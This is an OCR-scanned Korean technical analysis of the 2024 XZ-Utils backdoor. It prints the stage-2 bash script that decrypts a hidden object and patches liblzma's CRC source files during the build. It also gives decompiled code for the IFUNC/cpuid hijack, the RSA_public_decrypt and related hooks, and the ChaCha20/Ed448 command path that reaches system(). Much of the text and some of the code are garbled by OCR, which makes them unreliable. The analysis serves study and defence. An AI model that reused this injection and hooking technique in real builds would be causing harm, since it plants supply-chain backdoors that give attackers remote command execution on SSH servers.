for(l=8;1<8152;1++){ (:)
i={i+1)¥m;a=c[i];j=(J+a)am;c[i]=c[]];c[]i]=a;
¥

H
v=t["x" (MNF<1?RS:%$1)];
i={i+1)¥m;a=c[1i];
j=(Jj+a)¥m;b=c[]];
c[i]=bjc[j]=a;
k=c[{a+b)%m];
printf "%c", (v+k)Em}" |
¥z -dc --single-stream
{(head -c +3N > fdev/null 2:8&1) && head -c +$W) » liblzma_la-crcéd-fast.o || true (:)

19 12. Stage2 Object 3+¥ & bash shell 2T HE A3 &A

o}

g0l 4%

@ good-large_compressed.lzma T+
@ $ierE o8 HolHE FE3.

® XOR ol ohd ta712 AFgate $4F RC4 48 ATSE olgald e Besia
@ Az U=S 31 EA offset & liblzma la—crc64-fast.o 2= Object TtL 2 A3t

1o

o,

fto
gl

1 Ad, 24 Object mPo] F&Ho] libs/liblzma_la—crc64-fast.o Tdo] AHAHCLH o]%
47 (linking)3h= oA S Object TFA Q] ST =7} 4FQl =t
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T 49l AL cre64 fast.c @b cre32 fast.c ZEE FAST i crc64 fast.c 9
=

=
AFEE $ASHE A A FAA= WEo]9] entry code & 715t

V="#endif\n#if defined(CRC32_GENERIC) && defined(CRCE4_GEMERIC) && defined
(CRC_X86_CLMUL) &% defined(CRC_USE_IFUNC) && defined(PIC) && (defined
(BUILDING CRC64 CLMULY) || defined(BUILDING CRC32_CLMUL))\nextern int _get cpuid
(int, wvoid*, woid*, void*, wvoid*, void*);‘nstatic inline bool

_is arch_extension_ supported({void) { int success = 1; uint32 t r[4]; success =
_get_cpuid(l, &r[8], &r[1], &r[2], &r[3], ((char*) _ builtin frame address(@))-16);
const uint32 © ecx mask = (1 << 1) | (1 << 2) | (1 << 19); return success && (r

[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported
is_arch_extension_supported’
eval $yosh

if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported
()" $top_srcdir/src/liblzma/check/crced fast.c | A

sed "/include V'crc_x86 clmul.h\"/a WSV | N

sed "11i # @ \"$top_srcdir/src/liblzma/check/crcpd_fast.c\"" 2>/dev/null | \

$CC SDEFS $DEFAULT INCLUDES $INCLUDES %$1iblzma la CPPFLAGS $CPPFLAGS $AM CFLAGS
$CFLAGS -r liblzma la-crced-fast.o -x ¢ - $P -o .libs/liblzma la-crced fast.o 23/
dev/null; then

cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true

eval $BPep

if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported
()" $top_srcdir/src/liblzma/check/crc32 fast.c | A

sed "/include \"crc32_arm8d. h\"/Sa WAEVT | A

sed "11i # @ \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \

$CC SDEFS $DEFAULT INCLUDES $INCLUDES %$1iblzma la CPPFLAGS $CPPFLAGS $AM CFLAGS
$CFLAGS -r -x c - §P -o .libs/liblzma la-crc32 fast.o; then

eval $RgYB

% 13. Stage2 £AAFE 474 bash shell 2IHE

Stage?2 AAYE A15Y = 7)& crc32 fast.c, crc64 fast.c AT EOA
is_arch_extension supported() €<= _is arch extension supported() &= HFATH

crc64 fast.ce] ¥ h4 s arch extension supported()= 530 A liblzma la—crc64-fast.o
o A = get cpuid0E TE39HCH
Stage2 ¢ o5 2AIdYHEE 3 sheg 2w
C mA(crc32_fast.c, crcbd fast.o)e AT 5 Ut} o232 creb4_fast.c & A= Stage?

~FYE FT REo|)

sed "/return is_arch_extension_supported()/ cWreturn _is_arch_extension_supported()"
src/liblzma/check/crc64 fast.c | W

sed "/include W"crc64_arm64.hW"/a WWSV" | W
sed "1i # 0 W"src/liblzma/check/crc32_fast.c"" 2>/dev/null
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Slo
pi

sl Aol 7120 FEE MEd A3 bt Zol 94 wol wAHE 2

filo
J

ok

>
30,
)

typedef uintb4d_t (+crcBbd_func_type)(
const uint8_t *buf, size_t size, uintb4_t crc):

#if defined({CRC_USE_IFUNC) && defined( clang )
# pragma GCC diagnostic push

# pragma GCC diagnostic ignored "-Wunused-function”
Hendif

lzma_resolver_attributes
static crcBd_func_tvpe
crebd_resolve(void)
{
return is_arch_extension_supported()
T &crcbd_arch_optimized | &crcbd_generic,

]

#if defined(CRC_USE_IFUNC) && defined( clang )
# pragma GCC diagnostic pop
Hendif

typedef uint64_t (*crcbd_func_twpe)(
const uint3_t =buf, size_t size, uintB4_t crc);

#if defined(CRC_USE_IFUNC) && defined(__clang__)

# pragma GCC diagnostic push
i pragma GCC diagnostic lgnored "-Wunused-function”
endif

lzma_resolver_attributes
static crebd_func_type
~re6d resolvelvoid)

{
return _is_arch_extension_supported()

T oacrobd_arch_optimized  dcrcobd_generic,

i f defined{CRC_USE_IFUNC) &% defined(__clang__)
it pragma GCC diagnostic pop
endif

19 14. cre64_fast.c A Hl, £78 AESD, 78 Tk
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Step 2. ¥folvg| Z& 24
ssh Hl29] sshd &= A= i, Dynamic linker & %3] liblzma5.so #to]E S S}t o] mj
G}ET]OZI 7]‘—% 7&'%]6‘]—_]_’_ O] ] Eﬂ-L _,JZ—]_@% ’5‘ ?_O:]O ﬁ]_;_ﬂla‘l_ [FUNC 7"1__0 o]__Q_OH

MEols et

1) _get_cpuid

71 XZ-utils o+ dHlo]g2] CRC(Cyclic Redundancy Check) # & AAXole=dl ArgEE=
lzma_crc32 ¢} lzma_crc64 7} &A%t = g4 5% GNU C ZolEde] 7|5olA AFsh=
IFUNC §3°2& ELF AZ dolgo] A#o] H+d, IFUNC 7]%2 ARESHH Dynamic link

AN LAt FE FHOR AT 4 Ak IolA] AFF cre6d faste 22T Wiz
9 lzma crebd FHTF 9T AL B S 9len ofF F5old [FUNC 7|1%e &g
crc6d resolve TF4E 771 AL 3Felsh 4= 9ot

Hifdeft CRC_USE [FUNC

extern L7MA_API(uintb4_t)

lzma_crc6d4{const uint8 t *buf, size t size, uintbd t crc)
__attribute_ ((_ _ifunc__ ("crchbd_resolwve")) ),

felse

19 15. crc64_resolve {45 718]7]= Izma_crc64 &5

crc64 resolve g s o=z EAotn 4AowW oy xH™o| JEHE(nterrupt)E YA AOF
gttt o el A HiolEE 0xCC 2 iAo &%= oA Interrupt %—%@NﬂQ.
72 AR = A = o] 3kl 0x55 & Be] o]F 2 of thel tjH 7]

At

% CRC(Cyclic Redundancy Check): &8 Z5 FHAletlk st tlojelg 43 of AEH dloged] 277t deAE sty $gt
A3 e BAASH= H9H4
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rsp
-1aa
-8fa
-afe
-Bed
-Bed
-8ada
-ade

7fffffffelas 0— mov ril,
x7fffffffelba 0— "flib/x86 64-linux-gnuflibc.s0.6

X7 fffffffelbs -0 ex7ffff7f7deed 01— 8x3818182464c4571
x7fffffffelca

X7fffffffelcd -0 ex7fffffffe288 -0 ex7fffffffe37e [- 1

x7fffffffelds -0 0— exeffffffc
X7fffffffelds 01— @

x7fffffffeled 01— B

e I e e e e I e e e

@x7 71345381

@x7ffff7fd4a98 dl relocate object+3376
@x7ffff7fd4a98 dl relocate object+3376
@x7ffff7fd4a98@ dl relocate object+3376
@x7fff7fe6abtd dl main+8579
Bx7ffff7fe283c dl sysdep start+1828
Bx7ffff7fed598 dl start+1384
@x7ffff7fed4598 dl start+1384

in 2?2 .:::.
in elf machine_rela ( =<optimized out>,
=<optimized out>», —BY?FFFF?f?EBCS _ax?FFFF?Fsaifa =@x7ffff7fbbB348,
1323
#2 elf dynamic_do Rela ( =<optimized out>, =<optimized out>,
=<optimized out>, =<optimized out>, =<optimized out>, =@x7ffff7fbbada)
#3 dl relocate object ( =@x7ffff7fbb4dda, =<optimized out>,
=<optimized out>, =@) at 1288
in dl main =<optimized out>, =<pptimized out>,
=<optimized out>) at 12441
i 1 sysdep start ( =@x7fffff
=Bx7ffff7fed8ed <dl_| ma1n> 1256
in _dl start _final ( =@x7fffffffevog) at 1587
=ax7fffffffevee) at 1506
in _start () from
in 2?2 ()
in 27
in 22 ()
in 22 ()
in 22 ()
vmmap @x7ff{f7f84584
LEGEND: STACK RlWX RODATA
Start End Perm 5ize Offset File
Bx7ffff7f7doas Bx7ffff7f31888 r--p 4888 @ frootf/liblzma.so.

@x7ffff7faaoo0 @x7ffff7fb8eed r--p eggd 2deee Sroot/liblzma.so.5

19 16. crc64_resolve

ghH, XZ-utils oﬂ/\i 347‘45}3 AolA= A FQ1 Z2=AIAE AARSHE 715l E&asith o=
ole} FAKRE o] F<]

0}7ﬂ W=, crc64_resolve
e # 14101] get_cpuid 9, vl2 77} AT E A
kL
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Frce4 func_type _ fastcall crced resolve()

int cpuid; // r&d

crced_func_type result; // rax

char v2[4]; // [rsp [rbp-2@h] BYREF
char v3[4]; sp [rbp-1Ch] BYREF

int va; //

[ bp-18h] BYREF
char v5[4];

[ ;p+ﬁh] [rbp-14h] BYREF

char v6[8]; // [rsp+leh] [rbp-18h] BYREF
unsigned _ inte4 v7; // [rsp+l8h] [rbp-8h]
v7 =  readfsgword(@x25u);
[cpuid = get cpuid{lu, { inted)w2, ( inted)v3, ( inted)&vd, ( int64)v5, { int64)ve);// same as: get cpuid]
result = crch4_generic;
if ( cpuid 88 (v4 & Bx802082) -- 524882 )

result = crce4_arch_optimized;
if ( w7 != _ readfsqwerd(®@x28u) )

(Bx75FELL);

return result;

a9 17. 9=

it

A AAQ _get_cpuid TF

o]F get cpuid oA 7IeEHE Flet=d, MeEV 1 d ALt GOT(Global Offset
Table)?F4 W7 22|91 sub_4D04 & ‘gol7t},

| inte4 _ fastcall sub_4c98{unsigned int al, _DWORD *al)
1
unsigned int v3; // [rsp+ld4h] [rbp-4Ch] BYREF
char v4[4]; // [rsp+l8h] [rbp-48h] BYREF
char v5[4]; // [rsp+lCh] [rbp-44h] BYREF
__int64 v6[8]; // [rsp+28h] [rbp-4@h] BYREF

if (|dword_3D@le == 1]) !/ check counter is 1 or not

1

va[e] = 1Li;
memset (&vE » By 323
vB[5] = { WntbB4lal2;
[sub_4De4(ve, =2);|
¥
+Hdword 30816;
cpuid{al, &3, w4, v5, vE);
return v3;

13 18. dword_3C010 7ISE 39l & Lol 3

e

¥ GOT(Global Offset Table): 2% Z2A|HE &3 of Fxsh= gHolE.
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0% sub_4D04 WelHE SEFYE cpuid QXL ALgd] GOT i
A WA cpuid ZRJIHE Zreth o]F WEol: cpuid ZERIHE
off upA] H4AQl cpuid E TEoh= AAH IS

| intB4 _ fastcall sub_4D@4( QWORD *azl, _DWORD *a2)

rE o
o,
=2
H
<
2
U
)
b
e,

\ |
_DWORD *w23 f/ ra
__ipte4 result; // rax
bool w4; // zf
_DWORD *vw5; // rdx
__inte4 wve; // rl2
_QWORD *v7; // [rsp+8h] [rbp-28h]
all[4] = al;

sub_2572@(=1, a2);
al[5] = al[2];

result = *al - al[4];

al[l] = result;

vid = *(( QWORD *)&unk_2F288 + 1) + result == @;// cpuld ptr GOT

wS = ( DWORD *Y(*({( QWORD *)&unk 2F208 + 1) + result);

al[2] = v5;

if ( !wve )

{
/7 = w53
vB = *(_QWORD *)v5; I/ save offset
*(_QWORD *)vs = *((_QWORD *)Bunk_2F288 + 2) + result;// replace cpuid ptr with entrypoint
result = cpuid({unsigned int)al, a2, v5, &unk 2F288, v2);// call backdoor
E e E————

return result;

a3 19. cpuid EIHE AAS Hzo] T&
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o WMol f Ay 222 ohgit Aok 94, sub_12950 HE TES Wo] yolx &8
4 3F HolES ST oF sub 2250 g WellA] Mo x7]8F 1g-g AT

lzma check init(&check, LZMA CHECK NONE);:
|v6 = sub_12958(v28); // table initialize func]|

= al;
Ireturn sub_ 22Fs@(v21); // main function for backdoor initializﬂ

v28[6] = vB;

39 20, 529 Wxol f HA =27

sub_12950 & ®iro] 9k TEF HolE Wele % AX, RSA_public_decrypt 7,
EVP PKEY setl RSA hook, RSA getO key hook & o7 I4LE SEIHE HolES
e iy

int64 _ fastcall sub_1295&8( QWORD *al)

t
__inte4 result; // rax
result = SLL;

if ( a1 )

I

al[7] = &gqword_3Dels;
result = @LL;

if ( !si[e] )

{

a1[13] = 4LL;
al[B] = sub_B348@; // install hooks
31[9] = sub 1711@; // RSA public decrypt_hook
a1[18] = sub_16678; // EVWP_PKEY_setl RSA hook
21[11] = sub_24A68; // RSA_getB_key_hook
31[14] = sub_7ECE;
al[15] = sub_BD38;
return 181LL;
¥
h

return result;

}

a9 21. ko] 34 T F HolE 74 23

sub_22f50 grE WHet Z== ELF mtd 29 siAES Fdf g i bHe g9
Ty, Wofo M AMEShE sshd &4 &<l 75, HE di4 71, Symbind 7 7150l ¢

gro] ZetE]of .
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e
o]% =222 Id-linux(Dynamic linker)E IHd(Parsing)sll o] oigh thFst HHE FEotL
Mozl Ad FQl ZRZAAZE Jusr/bin/sshd €12 I]1 A AQX|7F Qe RIS
argu[OO1 WA AL Ol8L FEH BASIT B3 Whsl 54 BAANA AN, B
Z2A|A7F sshd 7F ofH ety wWiko] Adfs FastH, 2 W47 B4 Y A9k ko=
FTaHET 4 A% 92 St= id 42 yolAbejyiejuvnup=Evjtgvsh5okmkAvj T,

if (w4 ) // argv @
{
if ( (unsigned _ inte4)(v4 - (unsigned _ intd *)a2) <= @x4008 )
{
v5 = sub_26328(v4, BLL); // Current Process name
s6 = 1LL;
if ( w5 == 264 ) // Is process name fusr/shin/sshd?
while ( 1 )
v7 = v6 == v3;
VB = v6 + 1;
if (w7 )
break;
vd = *{char **)}&a2[8 * wi];
if ( a2 »=v9 || w9 || (unsigned __int64){vD - a2) > ©x4008 || sub_131FB(*(unsigned _ intle *juw9) )
return BLL;
}
if ( !'*(_QWORD *)&a2[8 * wi] )
1
v1® = (unsigned _ int8 **}&a2[8 * vB + B];
while ( 1 )
11 = *v18;
if ( !*vie
break;
if { a2 >= {char *)vil || {unsigned _ inte4)(vil - (unsigned _ int8 *)az) > Ox1000 )
v15[@] = BLL;
w12 = sub_228A@(al, v15, 1LL);
if ( !vi2 || (unsigned _ inte4) (w1l + 44) > v12 + v15[@] || (unsigned _ intea)wll < wi2 )
break;
1
if ( (unsigned int}sub_26328(*vle, @LL) )// Checking env variable
break;
if ( !*+vie )
return I1LL;
}
}
i

a9 22. Wixo] A3 33 AA

4) Symbol Resolver

W09 Resolver &4+= HE A S
&9 "Rk g2 Elfe4 Sym FxAo] JH=Z ofd FxAo FARAES F&S
TA5HA

f

ZoA EA 7] e AT Qe AES zr}
uy

v72 = [sub 7eea(vzi4, 2392LL, BLL); /f Symbol resclve tunction]
w73 = ([ inted)v2ld4; /f libcrypto base address
if (v72)

{

w74 =|*{ QWORD

*(_QWORD *) (v

b

39 23. liberypto library 258 £ 7|18 717 AES ZE 27
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5) Symbind ¥
Mrojl st 378 S8ty YafA] redl-audic olEe 7%

OMIEZ} 7] oA A A2 A E BtelE el E Sl

@ o TP e 5 S S
1ol rdl-audit Wrdel Wl Bg eloluelE s okt Peto] Aurzolu,
° e o] 3

ol vl e ofn] 55
sz,

Aejo]2of dis e HAE 4

3|
8l Symbol resolving F¥-&

ol T o] Symbol resolve T o|F ¥HEA o2 715 AlLjit),
/1% = sub_26328(a&, BLL);

w1l QWORD *)w7[3]; S/ RSA public decrypt GOT address
[if { V1o == 464 && V11 ) //_Is RSA_public_decrypt symbol resolved?] (1)
{
if { *v11l » BxFFFFFFuULL )
1
*y7 = *wll;
v12 = *( QWORD *)(v6 + 272);
*yll = v12;
if ( al * (unsigned _ int&4)retaddr && al < v9 )
*(_QWORD *)(al + B) = vl12;
}
goto LABEL 27,
}
v13 = ( QWORD *)w7[4]; // _ENV _PKEY setl RSA
|if ( v13 && vio == 1296 ) // Hook the ENV PKEY setl RSA| @

if { *vl3 <= @xFFFFFFuLL )
goto LABEL_Q?;

'[1] = *vl13;

= *( E-CRE "y(ve + 288);

1% ( : ; Eunsigned __inte4)retaddr && al < w9 )
*(_Q.-.:Rt -=;|(a'_ +8) = vi4;

V1S = (_Q DR

if !.;5 J

thD LABEL_27;
w16 = *v15 <= @xFFFFFFuLL;

}

else [/ I not

{
= { OWORD *jv7[57;

|1f /18 1= 1944 || 1vi7 ) // took the RSA geté key] (3)
return *(_QWORD *}(al + 8);

if { *v17 <= BxFFFFFFULL )
goto LABEL 273

_[2] = '-"J

v18 = *(_QWORD *)(v6 + 288);

*y17 =

if ( a_-;UEunJlgned int6d)retaddr && al < vd )
39 24, WEo] U HEACE 578 Amste 24

@ #z &7] A9l RSA_public_decrypt SH-g A
%

@ RSA public_decrypt ©] symbol resolve EZ| &UTH ENV _PKEY setl RSA g8 37
A&

® 9 2E oA symbol resolve EA] LUTHH wizje o2 RSA get0_key 37 Ak
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Step 3. WEo] Ea]7 EH A B4
5ol o7 )

a*b+c 9 oz AA=C wroF & glo] 2 #H
ZapstoiE vl o] Als)e HErh WrolE EdASH=

felzl2 AEet SSH QA2 A2 o E=|AFH
A JHF2 dsst I Aol HoF gt 8% EYL a, b, ¢ Al
olo] A|AH] Wy

549 L2 ofefet Lt

A% HolzEl WeA
gom olgolzl F4ql
AR, A glol 3 2

a (32 bit) b (32 bit)

ciphertext (240 bytes)

c (64 bit)

a9 25, wWiro] ETA QZA 7|E TW

o= RSA_public_decrypt & FTF3l= S
ZitsH=] H@sHs 2A oA &

Yol F9 715 (sub_17390)94 a*b+c 7} 3 &

if ( !*{_DWORD *)&v11@[9] )
goto LABEL 206;

vld = *{ QWORD *)&v118[13] + *(unsigned int *)&118[9] * (unsigned
if { vid > 3 ) [P Ifa*h+cr» 32

__inte4)*(unsigned int *)&v11e[5];

goto LABEL_206;
w15 = *{ QWORD *}{a2 + 16);
if ( wvls )

if ( *(_QWORD *)(v15 + 16) )
if ( *(_QWORD *)(v15 + 24) )
if ( *(_QWORD *)(a2 + 48) )
?f ( *(_DWORD

v115 = *(_OWORD *)&118[5];
if ( (unsigned int)sub_24968(v1l6, a2) )

#)(a2 + 352) == 456 )

if ( (unsigned int)sub 129F@(v111, v12 - 16, w116, &v115, w11l

2 T( QWORD *)(a? + B)) )

a9 26.a,b, c3t 24 vu 23

Sl kS F(ciphertext)2

A 32 HiolE —E—

chacha?20 ¢s3s} g8
7|2 AMgS YE skt
22 th-gof YAst sub 24960 &

Z|Rro 2 Ed448 74
OHT:]- o‘l-_—@ﬂ_ o]-_]—iaz_g /\]-_9_—5—

4= W sub_129f0 @<EoflA] <<l

71 9]
a, b, ¢ =
7}-s5ttt.

L H Yo

T

if ( {unsigned int)sub_129F8{v9, 43LL, v9,
return (unsigned int)sub 129F@(a2 + 264,

57LL, w11, w12, al,

vle, vll, w3) }// chacha2® decryption
*( QWORD *)(a2 + 8)) != 85

e

return ALL;

1% 27. chacha20 ¢535} &e|& AMg 23]
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2024 & 52l dA7A] g A A9 7= th2a 2Lt
0a 31 fd 3b 2f 1f 6 92 92 68 32 52 8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48

ASAe 2= 2w (ciphertext) ZH2 ofgfje}

signature (114 bytes)

x (1 bit) unknown (14 bit) y (1 bit)

unknown (8 bit) unknown (8 bit)

unknown (8 bit) command #x00

a9 28. WMo EFA IFA HEE 2R

O

An FES AAY AE AHge Fol

)

o|% otefie] Ed448 M-S Hlske dE
T/ ol A=Al selett
viB = sub_14E98 verlty _eadddd signature

*(_QWORD *)(*( QWORD *)(*{ QWORD *)(a2 + 48)

+ 8LL)
+ 8 * y23),

(unsigned int)&w182,

(int)vol + 4,

64,

(unsigned int)wlll,

(_DWORD)vo94,// ed448 public key

a2);
v28 = va97 + 1;

¥
while { !v3@ );

19 29. Ed448 XF AZF 234
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olEet A= BT FHRIHH, Mol off9] system()

o,
ol
filo
>
i)
S
q

if ¢ *((_BYTE *)v53 + v72

)

(*(wvoid (**)(void))(*( QWORD *)(aZ + 16) + 48LL))();// system();

goto LABEL 199;

a9 30. 99 99 4 =4
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which xz
XZ --version

a9 31 Wzoj7t M HA] & XZ-Utils WA B oAl

2024 ¢ 59 V|Eo g wrolrl AAE XZ-Utils 5.6.0 & 5.6.1 H{HAE AHg 59 S, XZ-
Utils ¢ HHE o2 o]= sffof it 5 58.0 HAo] &4 dAo|ln=z sy Hd EA
o|Fol= F4 HHoR daro|l=E Y As EHIH

« URL: https://tukaani.org/xz—backdoor/

AT EZ 0] oXx] HE HHE

XZ-utils 5.4.6

Zamh SSH o] 428 4 s A4sAY o8
O
=
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https://tukaani.org/xz-backdoor/

m 31 AJO|E

+ Oss—security Mailing list (https://www.openwall.com/lists/oss—security/2024/03/29/4)

+ So you're interested in being an open source maintainer(https://dev.to/opensauced/so—youre—interested—
in—being—an—open-source-maintainer—5bb2)

+ Xz-timeline (https://research.swtch.com/xz—timeline)

+ What we know about the xz utils backdoor that almost infected the world
(https://arstechnica.com/security/2024/04/what—we—know—about—the—xz-utils—backdoor—that—almost—
infected—the—world/)

+ analysis—of—the—xz—utils—backdoor—code (https://medium.com/@knownsec404team/analysis—of—the-
xz—utils—backdoor—code-d2d5316ac43f/)

+ XZ backdoor story — Initial analysis (https://securelist.com/xz—backdoor—story—part—1/112354/)

« xzbot (https://github.com/amlweems/xzbot)

+ XZ Utils Backdoor - Advisory for Mitigation and Response (https://www.sygnia.co/threat—reports—
and—advisories/xz—utils—backdoor—advisory—for—mitigation—and-response/)

+ XZ Utils Backdoor (https://tukaani.org/xz—backdoor/)
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